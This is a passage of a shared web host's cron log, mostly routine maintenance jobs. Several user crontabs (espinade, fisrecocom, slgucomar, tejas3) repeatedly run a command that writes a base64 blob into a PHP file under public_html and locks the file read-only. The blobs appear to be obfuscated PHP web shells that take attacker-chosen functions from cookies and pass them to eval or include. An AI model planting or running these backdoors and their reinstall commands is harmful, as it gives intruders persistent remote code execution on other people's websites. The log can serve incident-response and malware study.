vbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:08:01 medusa CROND[32361]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:08:01 medusa CROND[32363]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:08:01 medusa CROND[32365]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:09:01 medusa CROND[7879]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 03:09:01 medusa CROND[7897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:09:01 medusa CROND[7898]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:09:01 medusa CROND[7899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:09:01 medusa CROND[7900]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:09:01 medusa CROND[7901]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:09:01 medusa CROND[7902]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:09:01 medusa CROND[7905]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:09:01 medusa CROND[7908]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:09:01 medusa CROND[7910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:09:01 medusa CROND[7906]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:09:01 medusa CROND[7912]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:09:01 medusa CROND[7918]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7831]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7832]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:10:01 medusa CROND[7833]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:10:01 medusa CROND[7839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 03:10:01 medusa CROND[7840]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:10:01 medusa CROND[7842]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7843]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 03:10:01 medusa CROND[7844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:10:01 medusa CROND[7848]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:10:01 medusa CROND[7845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:10:01 medusa CROND[7849]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7853]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:10:01 medusa CROND[7854]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 03:10:01 medusa CROND[7850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7855]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7856]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:10:01 medusa CROND[7858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7860]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:10:01 medusa CROND[7861]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:10:01 medusa CROND[7862]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:10:01 medusa CROND[7867]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:10:01 medusa CROND[7868]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:10:01 medusa CROND[7874]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:10:01 medusa CROND[7875]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpO